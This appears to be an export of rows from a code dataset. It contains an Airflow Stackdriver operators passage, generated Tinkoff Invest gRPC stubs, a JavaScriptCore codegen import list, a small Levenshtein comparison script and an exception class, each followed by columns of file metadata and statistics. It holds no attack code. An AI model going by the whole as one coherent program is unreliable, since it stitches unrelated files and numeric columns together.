For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering.
:param page_size: The maximum number of resources contained in the
underlying API response. If page streaming is performed per-
resource, this parameter does not affect the return value. If page
streaming is performed per-page, this determines the maximum number
of resources in a page.
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project to fetch notification channels from.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
template_fields: Sequence[str] = (
'filter_',
'impersonation_chain',
)
operator_extra_links = (StackdriverNotificationsLink(),)
ui_color = "#e5ffcc"
def __init__(
self,
*,
format_: Optional[str] = None,
filter_: Optional[str] = None,
order_by: Optional[str] = None,
page_size: Optional[int] = None,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.format_ = format_
self.filter_ = filter_
self.order_by = order_by
self.page_size = page_size
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info(
'List Notification Channels: Project id: %s Format: %s Filter: %s Order By: %s Page Size: %s',
self.project_id,
self.format_,
self.filter_,
self.order_by,
self.page_size,
)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
channels = self.hook.list_notification_channels(
format_=self.format_,
project_id=self.project_id,
filter_=self.filter_,
order_by=self.order_by,
page_size=self.page_size,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
StackdriverNotificationsLink.persist(
context=context,
operator_instance=self,
project_id=self.project_id or self.hook.project_id,
)
return [NotificationChannel.to_dict(channel) for channel in channels]
class StackdriverEnableNotificationChannelsOperator(BaseOperator):
"""
Enables one or more disabled alerting policies identified by filter
parameter. Inoperative in case the policy is already enabled.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverEnableNotificationChannelsOperator`
:param filter_: If provided, this field specifies the criteria that
must be met by notification channels to be enabled.
For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering.
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The location used for the operation.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
template_fields: Sequence[str] = (
'filter_',
'impersonation_chain',
)
operator_extra_links = (StackdriverNotificationsLink(),)
ui_color = "#e5ffcc"
def __init__(
self,
*,
filter_: Optional[str] = None,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.filter_ = filter_
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info(
'Enable Notification Channels: Project id: %s Filter: %s', self.project_id, self.filter_
)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
self.hook.enable_notification_channels(
filter_=self.filter_,
project_id=self.project_id,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
StackdriverNotificationsLink.persist(
context=context,
operator_instance=self,
project_id=self.project_id or self.hook.project_id,
)
class StackdriverDisableNotificationChannelsOperator(BaseOperator):
"""
Disables one or more enabled notification channels identified by filter
parameter. Inoperative in case the policy is already disabled.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverDisableNotificationChannelsOperator`
:param filter_: If provided, this field specifies the criteria that
must be met by alert policies to be disabled.
For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering.
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project in which notification channels needs to be enabled.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
template_fields: Sequence[str] = (
'filter_',
'impersonation_chain',
)
operator_extra_links = (StackdriverNotificationsLink(),)
ui_color = "#e5ffcc"
def __init__(
self,
*,
filter_: Optional[str] = None,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.filter_ = filter_
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info(
'Disable Notification Channels: Project id: %s Filter: %s', self.project_id, self.filter_
)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
self.hook.disable_notification_channels(
filter_=self.filter_,
project_id=self.project_id,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
StackdriverNotificationsLink.persist(
context=context,
operator_instance=self,
project_id=self.project_id or self.hook.project_id,
)
class StackdriverUpsertNotificationChannelOperator(BaseOperator):
"""
Creates a new notification or updates an existing notification channel
identified the name field in the alerts parameter.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverUpsertNotificationChannelOperator`
:param channels: A JSON string or file that specifies all the alerts that needs
to be either created or updated. For more details, see
https://cloud.google.com/monitoring/api/ref_v3/rest/v3/projects.notificationChannels.
(templated)
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project in which notification channels needs to be created/updated.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
template_fields: Sequence[str] = (
'channels',
'impersonation_chain',
)
template_ext: Sequence[str] = ('.json',)
operator_extra_links = (StackdriverNotificationsLink(),)
ui_color = "#e5ffcc"
def __init__(
self,
*,
channels: str,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.channels = channels
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info(
'Upsert Notification Channels: Channels: %s Project id: %s', self.channels, self.project_id
)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
self.hook.upsert_channel(
channels=self.channels,
project_id=self.project_id,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
StackdriverNotificationsLink.persist(
context=context,
operator_instance=self,
project_id=self.project_id or self.hook.project_id,
)
class StackdriverDeleteNotificationChannelOperator(BaseOperator):
"""
Deletes a notification channel.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverDeleteNotificationChannelOperator`
:param name: The alerting policy to delete. The format is:
``projects/[PROJECT_ID]/notificationChannels/[CHANNEL_ID]``.
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project from which notification channel needs to be deleted.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
template_fields: Sequence[str] = (
'name',
'impersonation_chain',
)
ui_color = "#e5ffcc"
def __init__(
self,
*,
name: str,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.name = name
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info('Delete Notification Channel: Project id: %s Name: %s', self.project_id, self.name)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
self.hook.delete_notification_channel(
name=self.name, retry=self.retry, timeout=self.timeout, metadata=self.metadata
)
| 44.116977
| 106
| 0.670343
| 5,256
| 42,617
| 5.315449
| 0.060502
| 0.032858
| 0.019329
| 0.013959
| 0.901639
| 0.894803
| 0.892226
| 0.892226
| 0.892226
| 0.892226
| 0
| 0.000888
| 0.260131
| 42,617
| 965
| 107
| 44.162694
| 0.885161
| 0.495201
| 0
| 0.819367
| 0
| 0.003724
| 0.058949
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.037244
| false
| 0
| 0.014898
| 0
| 0.130354
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
91e7758ce0537250f4eb926f287abfef4966454b
| 11,127
|
py
|
Python
|
tinkoff/invest/grpc/orders_pb2_grpc.py
|
forked-group/invest-python
|
3398391f5bb4a52020c312855de175cfe8cdc021
|
[
"Apache-2.0"
] | 41
|
2022-01-21T05:38:57.000Z
|
2022-03-30T03:54:41.000Z
|
tinkoff/invest/grpc/orders_pb2_grpc.py
|
forked-group/invest-python
|
3398391f5bb4a52020c312855de175cfe8cdc021
|
[
"Apache-2.0"
] | 20
|
2022-01-24T05:46:02.000Z
|
2022-03-31T16:54:04.000Z
|
tinkoff/invest/grpc/orders_pb2_grpc.py
|
forked-group/invest-python
|
3398391f5bb4a52020c312855de175cfe8cdc021
|
[
"Apache-2.0"
] | 15
|
2022-01-25T06:53:27.000Z
|
2022-03-30T03:49:07.000Z
|
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
from tinkoff.invest.grpc import orders_pb2 as tinkoff_dot_invest_dot_grpc_dot_orders__pb2
class OrdersStreamServiceStub(object):
"""Missing associated documentation comment in .proto file."""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.TradesStream = channel.unary_stream(
'/tinkoff.public.invest.api.contract.v1.OrdersStreamService/TradesStream',
request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamRequest.SerializeToString,
response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamResponse.FromString,
)
class OrdersStreamServiceServicer(object):
"""Missing associated documentation comment in .proto file."""
def TradesStream(self, request, context):
"""Stream сделок пользователя
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_OrdersStreamServiceServicer_to_server(servicer, server):
rpc_method_handlers = {
'TradesStream': grpc.unary_stream_rpc_method_handler(
servicer.TradesStream,
request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamRequest.FromString,
response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamResponse.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'tinkoff.public.invest.api.contract.v1.OrdersStreamService', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
# This class is part of an EXPERIMENTAL API.
class OrdersStreamService(object):
"""Missing associated documentation comment in .proto file."""
@staticmethod
def TradesStream(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_stream(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersStreamService/TradesStream',
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamRequest.SerializeToString,
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.TradesStreamResponse.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
class OrdersServiceStub(object):
"""Сервис предназначен для работы с торговыми поручениями:</br> **1**.
выставление;</br> **2**. отмена;</br> **3**. получение статуса;</br> **4**.
расчёт полной стоимости;</br> **5**. получение списка заявок.
"""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.PostOrder = channel.unary_unary(
'/tinkoff.public.invest.api.contract.v1.OrdersService/PostOrder',
request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderRequest.SerializeToString,
response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderResponse.FromString,
)
self.CancelOrder = channel.unary_unary(
'/tinkoff.public.invest.api.contract.v1.OrdersService/CancelOrder',
request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderRequest.SerializeToString,
response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderResponse.FromString,
)
self.GetOrderState = channel.unary_unary(
'/tinkoff.public.invest.api.contract.v1.OrdersService/GetOrderState',
request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrderStateRequest.SerializeToString,
response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.OrderState.FromString,
)
self.GetOrders = channel.unary_unary(
'/tinkoff.public.invest.api.contract.v1.OrdersService/GetOrders',
request_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersRequest.SerializeToString,
response_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersResponse.FromString,
)
class OrdersServiceServicer(object):
"""Сервис предназначен для работы с торговыми поручениями:</br> **1**.
выставление;</br> **2**. отмена;</br> **3**. получение статуса;</br> **4**.
расчёт полной стоимости;</br> **5**. получение списка заявок.
"""
def PostOrder(self, request, context):
"""Метод выставления заявки.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def CancelOrder(self, request, context):
"""Метод отмены биржевой заявки.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def GetOrderState(self, request, context):
"""Метод получения статуса торгового поручения.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def GetOrders(self, request, context):
"""Метод получения списка активных заявок по счёту.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_OrdersServiceServicer_to_server(servicer, server):
rpc_method_handlers = {
'PostOrder': grpc.unary_unary_rpc_method_handler(
servicer.PostOrder,
request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderRequest.FromString,
response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderResponse.SerializeToString,
),
'CancelOrder': grpc.unary_unary_rpc_method_handler(
servicer.CancelOrder,
request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderRequest.FromString,
response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderResponse.SerializeToString,
),
'GetOrderState': grpc.unary_unary_rpc_method_handler(
servicer.GetOrderState,
request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrderStateRequest.FromString,
response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.OrderState.SerializeToString,
),
'GetOrders': grpc.unary_unary_rpc_method_handler(
servicer.GetOrders,
request_deserializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersRequest.FromString,
response_serializer=tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersResponse.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'tinkoff.public.invest.api.contract.v1.OrdersService', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
# This class is part of an EXPERIMENTAL API.
class OrdersService(object):
"""Сервис предназначен для работы с торговыми поручениями:</br> **1**.
выставление;</br> **2**. отмена;</br> **3**. получение статуса;</br> **4**.
расчёт полной стоимости;</br> **5**. получение списка заявок.
"""
@staticmethod
def PostOrder(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersService/PostOrder',
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderRequest.SerializeToString,
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.PostOrderResponse.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def CancelOrder(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersService/CancelOrder',
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderRequest.SerializeToString,
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.CancelOrderResponse.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def GetOrderState(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersService/GetOrderState',
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrderStateRequest.SerializeToString,
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.OrderState.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def GetOrders(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/tinkoff.public.invest.api.contract.v1.OrdersService/GetOrders',
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersRequest.SerializeToString,
tinkoff_dot_invest_dot_grpc_dot_orders__pb2.GetOrdersResponse.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
| 46.170124
| 137
| 0.688236
| 1,099
| 11,127
| 6.616015
| 0.135578
| 0.039609
| 0.068216
| 0.081007
| 0.870444
| 0.861642
| 0.861642
| 0.825609
| 0.782698
| 0.743777
| 0
| 0.006889
| 0.230341
| 11,127
| 240
| 138
| 46.3625
| 0.84213
| 0.119799
| 0
| 0.511628
| 1
| 0
| 0.108181
| 0.078696
| 0
| 0
| 0
| 0
| 0
| 1
| 0.081395
| false
| 0
| 0.011628
| 0.02907
| 0.156977
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
37dbe94363328b3e0160f0bc011fea01ec3e834e
| 1,162
|
py
|
Python
|
Core/third_party/JavaScriptCore/inspector/scripts/codegen/__init__.py
|
InfiniteSynthesis/lynx-native
|
022e277ee6767f5b668269a17b1679072cf7c3d6
|
[
"MIT"
] | 677
|
2017-09-23T16:03:12.000Z
|
2022-03-26T08:32:10.000Z
|
Core/third_party/JavaScriptCore/inspector/scripts/codegen/__init__.py
|
InfiniteSynthesis/lynx-native
|
022e277ee6767f5b668269a17b1679072cf7c3d6
|
[
"MIT"
] | 9
|
2020-04-18T18:47:18.000Z
|
2020-04-18T18:52:41.000Z
|
Core/third_party/JavaScriptCore/inspector/scripts/codegen/__init__.py
|
InfiniteSynthesis/lynx-native
|
022e277ee6767f5b668269a17b1679072cf7c3d6
|
[
"MIT"
] | 92
|
2017-09-21T14:21:27.000Z
|
2022-03-25T13:29:42.000Z
|
# Required for Python to search this directory for module files
from models import *
from generator import *
from cpp_generator import *
from objc_generator import *
from generate_cpp_alternate_backend_dispatcher_header import *
from generate_cpp_backend_dispatcher_header import *
from generate_cpp_backend_dispatcher_implementation import *
from generate_cpp_frontend_dispatcher_header import *
from generate_cpp_frontend_dispatcher_implementation import *
from generate_cpp_protocol_types_header import *
from generate_cpp_protocol_types_implementation import *
from generate_js_backend_commands import *
from generate_objc_backend_dispatcher_header import *
from generate_objc_backend_dispatcher_implementation import *
from generate_objc_configuration_header import *
from generate_objc_configuration_implementation import *
from generate_objc_frontend_dispatcher_implementation import *
from generate_objc_header import *
from generate_objc_internal_header import *
from generate_objc_protocol_types_implementation import *
from generate_objc_protocol_type_conversions_header import *
from generate_objc_protocol_type_conversions_implementation import *
| 44.692308
| 68
| 0.893287
| 147
| 1,162
| 6.578231
| 0.204082
| 0.217166
| 0.335057
| 0.227508
| 0.792141
| 0.663909
| 0.201655
| 0.108583
| 0.108583
| 0
| 0
| 0
| 0.086919
| 1,162
| 25
| 69
| 46.48
| 0.911404
| 0.052496
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5342eca652d767a398b1b7a8b0774f1cf04d6bd1
| 12,554
|
py
|
Python
|
levenshtein_distance.py
|
byscut/azrael-py27
|
76eaa29556a9f58e7425e5c0fefeddb5332a923e
|
[
"WTFPL"
] | null | null | null |
levenshtein_distance.py
|
byscut/azrael-py27
|
76eaa29556a9f58e7425e5c0fefeddb5332a923e
|
[
"WTFPL"
] | null | null | null |
levenshtein_distance.py
|
byscut/azrael-py27
|
76eaa29556a9f58e7425e5c0fefeddb5332a923e
|
[
"WTFPL"
] | null | null | null |
# -*- coding: utf-8 -*-
# @Author : Azrael.Bai
import Levenshtein
url1 = 'http://www.nbepb.gov.cn/XZCF_Show.aspx?ClassID=2c528b33-6f40-4fa5-9293-a1bf065b298a&InfoID=8a3fd96d-9eb2-4660-a9e6-2c8c20ec3326&SearchKey=&JDZCJG=&CFNF='
url2 = 'http://www.nbepb.gov.cn/XZCF_Show.aspx?ClassID=2c528b33-6f40-4fa5-9293-a1bf065b298a&InfoID=8a3fd96d-9eb2-4660-a9e6-2c8c20ec3326&SearchKey=&JDZCJG=&CFNF='
s1 = '/wEPDwUKMTYzMDEwNjc1OQ9kFgICAQ9kFgQCEQ88KwALAQAPFggeCERhdGFLZXlzFgAeC18hSXRlbUNvdW50AhIeCVBhZ2VDb3VudAIBHhVfIURhdGFTb3VyY2VJdGVtQ291bnQCEmQWAmYPZBYkAgEPZBYKZg9kFgICAQ8PFgIeBFRleHQFFTUwMDIyNTIwMTcwOTE1MDAxMTQwMWRkAgEPZBYCZg8VAhQ1MDAyMjUyMDE3MDkxNTAwMTAwMTnlpK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mVQb3N0QmFja0tleV9fFgEFDEltYWdlQnV0dG9uMV7gIXj3+cPomwjUzTst7JH2Pn3E'
print Levenshtein.distance(url1, url2)
print Levenshtein.jaro(url1, url2)
print Levenshtein.ratio(url1, url2)
| 1,046.166667
| 6,243
| 0.97451
| 258
| 12,554
| 47.410853
| 0.813953
| 0.003924
| 0.001962
| 0.002453
| 0.027796
| 0.027796
| 0.027796
| 0.020438
| 0.020438
| 0.020438
| 0
| 0.105591
| 0.002708
| 12,554
| 12
| 6,244
| 1,046.166667
| 0.871406
| 0.003425
| 0
| 0
| 0
| 0.5
| 0.98649
| 0.962187
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0.125
| null | null | 0.375
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
535032ac99724be5b0f8daa2876c8c5e6da1aa50
| 131
|
py
|
Python
|
src/infrastructure/errors/unable_to_normalize_image_exception.py
|
OzielFilho/ProjetoFinalPdi
|
c9e6fe415f1a985d6eeac204580d3ab623026665
|
[
"MIT"
] | null | null | null |
src/infrastructure/errors/unable_to_normalize_image_exception.py
|
OzielFilho/ProjetoFinalPdi
|
c9e6fe415f1a985d6eeac204580d3ab623026665
|
[
"MIT"
] | null | null | null |
src/infrastructure/errors/unable_to_normalize_image_exception.py
|
OzielFilho/ProjetoFinalPdi
|
c9e6fe415f1a985d6eeac204580d3ab623026665
|
[
"MIT"
] | null | null | null |
from infrastructure.errors.image_exception import ImageException
class UnableToNormalizeImageException(ImageException):
pass
| 21.833333
| 64
| 0.862595
| 11
| 131
| 10.181818
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.099237
| 131
| 5
| 65
| 26.2
| 0.949153
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
